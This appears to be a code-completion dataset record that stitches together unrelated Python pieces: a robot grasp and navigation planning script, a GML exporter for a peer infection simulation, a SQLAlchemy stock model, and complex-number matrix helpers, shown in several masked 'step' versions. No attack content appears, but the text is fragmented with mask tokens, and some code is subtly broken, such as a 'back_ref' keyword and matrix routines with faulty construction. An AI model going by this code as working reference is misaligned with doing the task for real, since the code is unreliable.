parser.add_option('--nodestinations', action='store_true',dest='nodestinations',default=False,
help='If set, will plan without destinations.')
parser.add_option('--norandomize', action='store_false',dest='randomize',default=True,
help='If set, will not randomize the bodies and robot position in the scene.')
(options, args) = parser.parse_args()
env = testg.Environment()
try:
env.SetViewer('qtcoin')
env.Load(options.scene)
robot = env.GetRobots()[0]
env.UpdatePublishedBodies()
time.sleep(0.1) # give time for environment to update
SNP = testr.SimpleNavigationPlanning(robot)
SNP.performNavigationPlanning()
GP= testg.GraspPlanning(robot,randomize=options.randomize,nodestinations=options.nodestinations)
GP.performGraspPlanning()
SNP = testr.SimpleNavigationPlanning(robot)
SNP.performNavigationPlanning()
finally:
env.Destroy()
if __name__ == "__main__":
run()
|
normal
|
{
"blob_id": "62857a015087500fec534ba1297d42a33ae61927",
"index": 7153,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef run():\n parser = testg.OptionParser(description=\n 'Autonomous grasp and manipulation planning example.')\n parser.add_option('--scene', action='store', type='string', dest=\n 'scene', default='/home/user/experiment/data/lab1.env.xml', help=\n 'Scene file to load (default=%default)')\n parser.add_option('--nodestinations', action='store_true', dest=\n 'nodestinations', default=False, help=\n 'If set, will plan without destinations.')\n parser.add_option('--norandomize', action='store_false', dest=\n 'randomize', default=True, help=\n 'If set, will not randomize the bodies and robot position in the scene.'\n )\n options, args = parser.parse_args()\n env = testg.Environment()\n try:\n env.SetViewer('qtcoin')\n env.Load(options.scene)\n robot = env.GetRobots()[0]\n env.UpdatePublishedBodies()\n time.sleep(0.1)\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n GP = testg.GraspPlanning(robot, randomize=options.randomize,\n nodestinations=options.nodestinations)\n GP.performGraspPlanning()\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n finally:\n env.Destroy()\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef run():\n parser = testg.OptionParser(description=\n 'Autonomous grasp and manipulation planning example.')\n parser.add_option('--scene', action='store', type='string', dest=\n 'scene', default='/home/user/experiment/data/lab1.env.xml', help=\n 'Scene file to load (default=%default)')\n parser.add_option('--nodestinations', action='store_true', dest=\n 'nodestinations', default=False, help=\n 'If set, will plan without destinations.')\n parser.add_option('--norandomize', action='store_false', dest=\n 'randomize', default=True, help=\n 'If set, will not randomize the bodies and robot position in the scene.'\n )\n options, args = parser.parse_args()\n env = testg.Environment()\n try:\n env.SetViewer('qtcoin')\n env.Load(options.scene)\n robot = env.GetRobots()[0]\n env.UpdatePublishedBodies()\n time.sleep(0.1)\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n GP = testg.GraspPlanning(robot, randomize=options.randomize,\n nodestinations=options.nodestinations)\n GP.performGraspPlanning()\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n finally:\n env.Destroy()\n\n\nif __name__ == '__main__':\n run()\n",
"step-4": "import testr\nimport testg\nimport time\n\n\ndef run():\n parser = testg.OptionParser(description=\n 'Autonomous grasp and manipulation planning example.')\n parser.add_option('--scene', action='store', type='string', dest=\n 'scene', default='/home/user/experiment/data/lab1.env.xml', help=\n 'Scene file to load (default=%default)')\n parser.add_option('--nodestinations', action='store_true', dest=\n 'nodestinations', default=False, help=\n 'If set, will plan without destinations.')\n parser.add_option('--norandomize', action='store_false', dest=\n 'randomize', default=True, help=\n 'If set, will not randomize the bodies and robot position in the scene.'\n )\n options, args = parser.parse_args()\n env = testg.Environment()\n try:\n env.SetViewer('qtcoin')\n env.Load(options.scene)\n robot = env.GetRobots()[0]\n env.UpdatePublishedBodies()\n time.sleep(0.1)\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n GP = testg.GraspPlanning(robot, randomize=options.randomize,\n nodestinations=options.nodestinations)\n GP.performGraspPlanning()\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n finally:\n env.Destroy()\n\n\nif __name__ == '__main__':\n run()\n",
"step-5": "import testr\nimport testg\nimport time\n\ndef run():\n parser = testg.OptionParser(description='Autonomous grasp and manipulation planning example.')\n parser.add_option('--scene',\n action=\"store\",type='string',dest='scene',default='/home/user/experiment/data/lab1.env.xml',\n help='Scene file to load (default=%default)')\n parser.add_option('--nodestinations', action='store_true',dest='nodestinations',default=False,\n help='If set, will plan without destinations.')\n parser.add_option('--norandomize', action='store_false',dest='randomize',default=True,\n help='If set, will not randomize the bodies and robot position in the scene.')\n (options, args) = parser.parse_args()\n env = testg.Environment()\n try:\n env.SetViewer('qtcoin')\n env.Load(options.scene)\n robot = env.GetRobots()[0]\n env.UpdatePublishedBodies()\n time.sleep(0.1) # give time for environment to update\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n GP= testg.GraspPlanning(robot,randomize=options.randomize,nodestinations=options.nodestinations)\n GP.performGraspPlanning()\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n \n finally:\n env.Destroy()\n\nif __name__ == \"__main__\":\n run()\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
def node(peer: pd.Peer):
if peer.data_infection is None:
return ''
return '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id
) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer)
) + '\n' + '\t' + ']' + '\n'
<|reserved_special_token_0|>
def edge(peer: pd.Peer) ->str:
if peer.data_infection is None:
return ''
return '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer.
data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer
.data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer
.data_infection.epoch) + '\n' + '\t' + ']' + '\n'
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:
try:
with open(path, 'w') as file:
file.write(graph(peers))
except Exception:
return True
return False
<|reserved_special_token_0|>
def graph(peers: Sequence[pd.Peer]) ->str:
return 'graph [' + '\n' + '\t' + 'directed 1' + '\n' + ''.join(map(node,
peers)) + ''.join(map(edge, peers)) + ']' + '\n'
def node(peer: pd.Peer):
if peer.data_infection is None:
return ''
return '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id
) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer)
) + '\n' + '\t' + ']' + '\n'
def node_label(peer: pd.Peer) ->str:
return '' if peer.data_patch is None else str(peer.data_patch.epoch)
def edge(peer: pd.Peer) ->str:
if peer.data_infection is None:
return ''
return '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer.
data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer
.data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer
.data_infection.epoch) + '\n' + '\t' + ']' + '\n'
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:
try:
with open(path, 'w') as file:
file.write(graph(peers))
except Exception:
return True
return False
def print_gml(peers: Sequence[pd.Peer]) ->None:
print(graph(peers))
def graph(peers: Sequence[pd.Peer]) ->str:
return 'graph [' + '\n' + '\t' + 'directed 1' + '\n' + ''.join(map(node,
peers)) + ''.join(map(edge, peers)) + ']' + '\n'
def node(peer: pd.Peer):
if peer.data_infection is None:
return ''
return '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id
) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer)
) + '\n' + '\t' + ']' + '\n'
def node_label(peer: pd.Peer) ->str:
return '' if peer.data_patch is None else str(peer.data_patch.epoch)
def edge(peer: pd.Peer) ->str:
if peer.data_infection is None:
return ''
return '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer.
data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer
.data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer
.data_infection.epoch) + '\n' + '\t' + ']' + '\n'
<|reserved_special_token_1|>
import pandemic as pd
from typing import Sequence
def save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:
try:
with open(path, 'w') as file:
file.write(graph(peers))
except Exception:
return True
return False
def print_gml(peers: Sequence[pd.Peer]) ->None:
print(graph(peers))
def graph(peers: Sequence[pd.Peer]) ->str:
return 'graph [' + '\n' + '\t' + 'directed 1' + '\n' + ''.join(map(node,
peers)) + ''.join(map(edge, peers)) + ']' + '\n'
def node(peer: pd.Peer):
if peer.data_infection is None:
return ''
return '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id
) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer)
) + '\n' + '\t' + ']' + '\n'
def node_label(peer: pd.Peer) ->str:
return '' if peer.data_patch is None else str(peer.data_patch.epoch)
def edge(peer: pd.Peer) ->str:
if peer.data_infection is None:
return ''
return '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer.
data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer
.data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer
.data_infection.epoch) + '\n' + '\t' + ']' + '\n'
<|reserved_special_token_1|>
import pandemic as pd
from typing import Sequence
def save_gml(path: str, peers: Sequence[pd.Peer]) -> bool:
try:
with open(path, "w") as file:
file.write(graph(peers))
except Exception:
return True
return False
def print_gml(peers: Sequence[pd.Peer]) -> None:
print(graph(peers))
def graph(peers: Sequence[pd.Peer]) -> str:
return(
'graph [' + '\n' +
'\t' + 'directed 1' + '\n' +
''.join(map(node, peers)) +
''.join(map(edge, peers)) +
']' + '\n'
)
def node(peer: pd.Peer):
if peer.data_infection is None:
return ""
return(
'\t' + 'node [' + '\n' +
'\t' + '\t' + 'id {}'.format(peer.id) + '\n' +
'\t' + '\t' + 'label "{}"'.format(node_label(peer)) + '\n' +
'\t' + ']' + '\n'
)
def node_label(peer: pd.Peer) -> str:
return "" if peer.data_patch is None else str(peer.data_patch.epoch)
def edge(peer: pd.Peer) -> str:
if peer.data_infection is None:
return ""
return(
'\t' + 'edge [' + '\n' +
'\t' + '\t' + 'source {}'.format(peer.data_infection.source) + '\n' +
'\t' + '\t' + 'target {}'.format(peer.data_infection.target) + '\n' +
'\t' + '\t' + 'label "{}"'.format(peer.data_infection.epoch) + '\n' +
'\t' + ']' + '\n'
)
|
flexible
|
{
"blob_id": "cb0b963c0e5aadcb67b5ee5f055fb9b6f21892fc",
"index": 5292,
"step-1": "<mask token>\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return ''\n return '\\t' + 'node [' + '\\n' + '\\t' + '\\t' + 'id {}'.format(peer.id\n ) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)\n ) + '\\n' + '\\t' + ']' + '\\n'\n\n\n<mask token>\n\n\ndef edge(peer: pd.Peer) ->str:\n if peer.data_infection is None:\n return ''\n return '\\t' + 'edge [' + '\\n' + '\\t' + '\\t' + 'source {}'.format(peer.\n data_infection.source) + '\\n' + '\\t' + '\\t' + 'target {}'.format(peer\n .data_infection.target) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(peer\n .data_infection.epoch) + '\\n' + '\\t' + ']' + '\\n'\n",
"step-2": "<mask token>\n\n\ndef save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:\n try:\n with open(path, 'w') as file:\n file.write(graph(peers))\n except Exception:\n return True\n return False\n\n\n<mask token>\n\n\ndef graph(peers: Sequence[pd.Peer]) ->str:\n return 'graph [' + '\\n' + '\\t' + 'directed 1' + '\\n' + ''.join(map(node,\n peers)) + ''.join(map(edge, peers)) + ']' + '\\n'\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return ''\n return '\\t' + 'node [' + '\\n' + '\\t' + '\\t' + 'id {}'.format(peer.id\n ) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)\n ) + '\\n' + '\\t' + ']' + '\\n'\n\n\ndef node_label(peer: pd.Peer) ->str:\n return '' if peer.data_patch is None else str(peer.data_patch.epoch)\n\n\ndef edge(peer: pd.Peer) ->str:\n if peer.data_infection is None:\n return ''\n return '\\t' + 'edge [' + '\\n' + '\\t' + '\\t' + 'source {}'.format(peer.\n data_infection.source) + '\\n' + '\\t' + '\\t' + 'target {}'.format(peer\n .data_infection.target) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(peer\n .data_infection.epoch) + '\\n' + '\\t' + ']' + '\\n'\n",
"step-3": "<mask token>\n\n\ndef save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:\n try:\n with open(path, 'w') as file:\n file.write(graph(peers))\n except Exception:\n return True\n return False\n\n\ndef print_gml(peers: Sequence[pd.Peer]) ->None:\n print(graph(peers))\n\n\ndef graph(peers: Sequence[pd.Peer]) ->str:\n return 'graph [' + '\\n' + '\\t' + 'directed 1' + '\\n' + ''.join(map(node,\n peers)) + ''.join(map(edge, peers)) + ']' + '\\n'\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return ''\n return '\\t' + 'node [' + '\\n' + '\\t' + '\\t' + 'id {}'.format(peer.id\n ) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)\n ) + '\\n' + '\\t' + ']' + '\\n'\n\n\ndef node_label(peer: pd.Peer) ->str:\n return '' if peer.data_patch is None else str(peer.data_patch.epoch)\n\n\ndef edge(peer: pd.Peer) ->str:\n if peer.data_infection is None:\n return ''\n return '\\t' + 'edge [' + '\\n' + '\\t' + '\\t' + 'source {}'.format(peer.\n data_infection.source) + '\\n' + '\\t' + '\\t' + 'target {}'.format(peer\n .data_infection.target) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(peer\n .data_infection.epoch) + '\\n' + '\\t' + ']' + '\\n'\n",
"step-4": "import pandemic as pd\nfrom typing import Sequence\n\n\ndef save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:\n try:\n with open(path, 'w') as file:\n file.write(graph(peers))\n except Exception:\n return True\n return False\n\n\ndef print_gml(peers: Sequence[pd.Peer]) ->None:\n print(graph(peers))\n\n\ndef graph(peers: Sequence[pd.Peer]) ->str:\n return 'graph [' + '\\n' + '\\t' + 'directed 1' + '\\n' + ''.join(map(node,\n peers)) + ''.join(map(edge, peers)) + ']' + '\\n'\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return ''\n return '\\t' + 'node [' + '\\n' + '\\t' + '\\t' + 'id {}'.format(peer.id\n ) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)\n ) + '\\n' + '\\t' + ']' + '\\n'\n\n\ndef node_label(peer: pd.Peer) ->str:\n return '' if peer.data_patch is None else str(peer.data_patch.epoch)\n\n\ndef edge(peer: pd.Peer) ->str:\n if peer.data_infection is None:\n return ''\n return '\\t' + 'edge [' + '\\n' + '\\t' + '\\t' + 'source {}'.format(peer.\n data_infection.source) + '\\n' + '\\t' + '\\t' + 'target {}'.format(peer\n .data_infection.target) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(peer\n .data_infection.epoch) + '\\n' + '\\t' + ']' + '\\n'\n",
"step-5": "import pandemic as pd\nfrom typing import Sequence\n\n\ndef save_gml(path: str, peers: Sequence[pd.Peer]) -> bool:\n try:\n with open(path, \"w\") as file:\n file.write(graph(peers))\n except Exception:\n return True\n\n return False\n\n\ndef print_gml(peers: Sequence[pd.Peer]) -> None:\n print(graph(peers))\n\n\ndef graph(peers: Sequence[pd.Peer]) -> str:\n return(\n 'graph [' + '\\n' +\n '\\t' + 'directed 1' + '\\n' +\n ''.join(map(node, peers)) +\n ''.join(map(edge, peers)) +\n ']' + '\\n'\n )\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return \"\"\n\n return(\n '\\t' + 'node [' + '\\n' +\n '\\t' + '\\t' + 'id {}'.format(peer.id) + '\\n' +\n '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)) + '\\n' +\n '\\t' + ']' + '\\n'\n )\n\n\ndef node_label(peer: pd.Peer) -> str:\n return \"\" if peer.data_patch is None else str(peer.data_patch.epoch)\n\n\ndef edge(peer: pd.Peer) -> str:\n if peer.data_infection is None:\n return \"\"\n\n return(\n '\\t' + 'edge [' + '\\n' +\n '\\t' + '\\t' + 'source {}'.format(peer.data_infection.source) + '\\n' +\n '\\t' + '\\t' + 'target {}'.format(peer.data_infection.target) + '\\n' +\n '\\t' + '\\t' + 'label \"{}\"'.format(peer.data_infection.epoch) + '\\n' +\n '\\t' + ']' + '\\n'\n )\n",
"step-ids": [
2,
5,
6,
7,
8
]
}
|
[
2,
5,
6,
7,
8
] |
from sqlalchemy import (Column, Integer, Float, String, ForeignKey)
from sqlalchemy.dialects.postgresql import UUID
from sqlalchemy.orm import relationship
from .meta import Base, BaseModel
class Stock(Base, BaseModel):
__tablename__ = 'stock'
name = Column(String(255), nullable=False)
starting_price = Column(Float, nullable=False)
current_price = Column(Float, nullable=False)
max_price = Column(Float, nullable=True)
min_price = Column(Float, nullable=True)
starting_stock = Column(Integer, nullable=True)
current_stock = Column(Integer, nullable=True)
stock_type_id = Column(UUID(as_uuid=True), ForeignKey('stock_type.id'))
stock_type = relationship('StockType', back_ref='stocks')
user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))
user = relationship('User')
def __json__(self, _):
return {
"id": self.id,
"name": self.name,
"starting_price": self.starting_price,
"current_price": self.current_price,
"max_price": self.max_price,
"min_price": self.min_price,
"starting_stock": self.starting_stock,
"current_stock": self.current_stock
}
class StockType(Base, BaseModel):
__tablename__ = 'stock_type'
name = Column(String(255), nullable=False)
stocks = relationship('Stock', back_ref='stock_type')
user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))
user = relationship('User')
def __json__(self, _):
return {
"id": self.id,
"name": self.name
}
|
normal
|
{
"blob_id": "7251d32918b16166e9b7c9613726e6dc51d6fea4",
"index": 3834,
"step-1": "<mask token>\n\n\nclass StockType(Base, BaseModel):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name}\n",
"step-2": "<mask token>\n\n\nclass StockType(Base, BaseModel):\n __tablename__ = 'stock_type'\n name = Column(String(255), nullable=False)\n stocks = relationship('Stock', back_ref='stock_type')\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name}\n",
"step-3": "<mask token>\n\n\nclass Stock(Base, BaseModel):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name, 'starting_price': self.\n starting_price, 'current_price': self.current_price,\n 'max_price': self.max_price, 'min_price': self.min_price,\n 'starting_stock': self.starting_stock, 'current_stock': self.\n current_stock}\n\n\nclass StockType(Base, BaseModel):\n __tablename__ = 'stock_type'\n name = Column(String(255), nullable=False)\n stocks = relationship('Stock', back_ref='stock_type')\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name}\n",
"step-4": "<mask token>\n\n\nclass Stock(Base, BaseModel):\n __tablename__ = 'stock'\n name = Column(String(255), nullable=False)\n starting_price = Column(Float, nullable=False)\n current_price = Column(Float, nullable=False)\n max_price = Column(Float, nullable=True)\n min_price = Column(Float, nullable=True)\n starting_stock = Column(Integer, nullable=True)\n current_stock = Column(Integer, nullable=True)\n stock_type_id = Column(UUID(as_uuid=True), ForeignKey('stock_type.id'))\n stock_type = relationship('StockType', back_ref='stocks')\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name, 'starting_price': self.\n starting_price, 'current_price': self.current_price,\n 'max_price': self.max_price, 'min_price': self.min_price,\n 'starting_stock': self.starting_stock, 'current_stock': self.\n current_stock}\n\n\nclass StockType(Base, BaseModel):\n __tablename__ = 'stock_type'\n name = Column(String(255), nullable=False)\n stocks = relationship('Stock', back_ref='stock_type')\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name}\n",
"step-5": "from sqlalchemy import (Column, Integer, Float, String, ForeignKey)\nfrom sqlalchemy.dialects.postgresql import UUID\nfrom sqlalchemy.orm import relationship\n\nfrom .meta import Base, BaseModel\n\n\nclass Stock(Base, BaseModel):\n __tablename__ = 'stock'\n\n name = Column(String(255), nullable=False)\n starting_price = Column(Float, nullable=False)\n current_price = Column(Float, nullable=False)\n max_price = Column(Float, nullable=True)\n min_price = Column(Float, nullable=True)\n starting_stock = Column(Integer, nullable=True)\n current_stock = Column(Integer, nullable=True)\n\n stock_type_id = Column(UUID(as_uuid=True), ForeignKey('stock_type.id'))\n stock_type = relationship('StockType', back_ref='stocks')\n\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"starting_price\": self.starting_price,\n \"current_price\": self.current_price,\n \"max_price\": self.max_price,\n \"min_price\": self.min_price,\n \"starting_stock\": self.starting_stock,\n \"current_stock\": self.current_stock\n }\n\n\nclass StockType(Base, BaseModel):\n __tablename__ = 'stock_type'\n\n name = Column(String(255), nullable=False)\n stocks = relationship('Stock', back_ref='stock_type')\n\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {\n \"id\": self.id,\n \"name\": self.name\n }\n",
"step-ids": [
2,
3,
5,
6,
8
]
}
|
[
2,
3,
5,
6,
8
] |
<|reserved_special_token_0|>
def adVector(v, w):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxsum(v[k], w[k])]
return r
<|reserved_special_token_0|>
def MultEscalarVector(v, w):
n = len(w)
r = []
for k in range(n):
r += [lc.cplxproduct(v, w[k])]
return r
def sumaMatrix(v, w):
m = len(w)
n = len(v[0])
fila = []
r = [fila] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r += [lc.cplxsum(v[j][k], w[j][k])]
return r
def invAdMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r[j] += [lc.cplxproduct((-1, 0), v[j][k])]
return r
def MultEscMtx(v, w):
m = len(w)
n = len(w[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [lc.cplxproduct(v, w[j][k])]
return r
<|reserved_special_token_0|>
def ProdMtx(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
def MtxVec(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
def vectorPrInt(v):
r = int(lc.cplxmod(v) ** 2)
return r
def vectorNorm(v):
r = int(lc.cplxmod(v))
return r
def disV(v, w):
ele = 0
s = 0
for i in range(len(v)):
ele = v[i] - w[i]
ele = ele ** 2
s += ele
n = s ** (1 / 2)
return n
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def adVector(v, w):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxsum(v[k], w[k])]
return r
def invVector(v):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxproduct((-1, 0), v[k])]
return r
def MultEscalarVector(v, w):
n = len(w)
r = []
for k in range(n):
r += [lc.cplxproduct(v, w[k])]
return r
def sumaMatrix(v, w):
m = len(w)
n = len(v[0])
fila = []
r = [fila] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r += [lc.cplxsum(v[j][k], w[j][k])]
return r
def invAdMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r[j] += [lc.cplxproduct((-1, 0), v[j][k])]
return r
def MultEscMtx(v, w):
m = len(w)
n = len(w[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [lc.cplxproduct(v, w[j][k])]
return r
def trMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [v[k][j]]
return r
<|reserved_special_token_0|>
def ProdMtx(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
def MtxVec(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
def vectorPrInt(v):
r = int(lc.cplxmod(v) ** 2)
return r
def vectorNorm(v):
r = int(lc.cplxmod(v))
return r
def disV(v, w):
ele = 0
s = 0
for i in range(len(v)):
ele = v[i] - w[i]
ele = ele ** 2
s += ele
n = s ** (1 / 2)
return n
def hermMtx(v):
if adjMtx(v) == v:
return True
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def adVector(v, w):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxsum(v[k], w[k])]
return r
def invVector(v):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxproduct((-1, 0), v[k])]
return r
def MultEscalarVector(v, w):
n = len(w)
r = []
for k in range(n):
r += [lc.cplxproduct(v, w[k])]
return r
def sumaMatrix(v, w):
m = len(w)
n = len(v[0])
fila = []
r = [fila] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r += [lc.cplxsum(v[j][k], w[j][k])]
return r
def invAdMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r[j] += [lc.cplxproduct((-1, 0), v[j][k])]
return r
def MultEscMtx(v, w):
m = len(w)
n = len(w[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [lc.cplxproduct(v, w[j][k])]
return r
def trMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [v[k][j]]
return r
<|reserved_special_token_0|>
def ProdMtx(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
def MtxVec(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
def vectorPrInt(v):
r = int(lc.cplxmod(v) ** 2)
return r
def vectorNorm(v):
r = int(lc.cplxmod(v))
return r
def disV(v, w):
ele = 0
s = 0
for i in range(len(v)):
ele = v[i] - w[i]
ele = ele ** 2
s += ele
n = s ** (1 / 2)
return n
def hermMtx(v):
if adjMtx(v) == v:
return True
def vectorTsorProduct(A, B):
na = len(A)
nb = len(B)
nr = nb * na
R = [(0, 0)] * nr
index = 0
for j in range(na):
for k in range(nb):
R[index] = MultEscalarVector(A[j], B[k])
index = index + 1
return R
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def adVector(v, w):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxsum(v[k], w[k])]
return r
def invVector(v):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxproduct((-1, 0), v[k])]
return r
def MultEscalarVector(v, w):
n = len(w)
r = []
for k in range(n):
r += [lc.cplxproduct(v, w[k])]
return r
def sumaMatrix(v, w):
m = len(w)
n = len(v[0])
fila = []
r = [fila] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r += [lc.cplxsum(v[j][k], w[j][k])]
return r
def invAdMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r[j] += [lc.cplxproduct((-1, 0), v[j][k])]
return r
def MultEscMtx(v, w):
m = len(w)
n = len(w[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [lc.cplxproduct(v, w[j][k])]
return r
def trMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [v[k][j]]
return r
<|reserved_special_token_0|>
def adjMtx(A):
n = len(A)
m = len(A[0])
r = [n] * m
for j in range(n):
fila = [] * n
r[j] = fila
for k in range(m):
r[j] += [lc.cplxconj((-1, 0), A[k][j])]
return r
def ProdMtx(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
def MtxVec(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
def vectorPrInt(v):
r = int(lc.cplxmod(v) ** 2)
return r
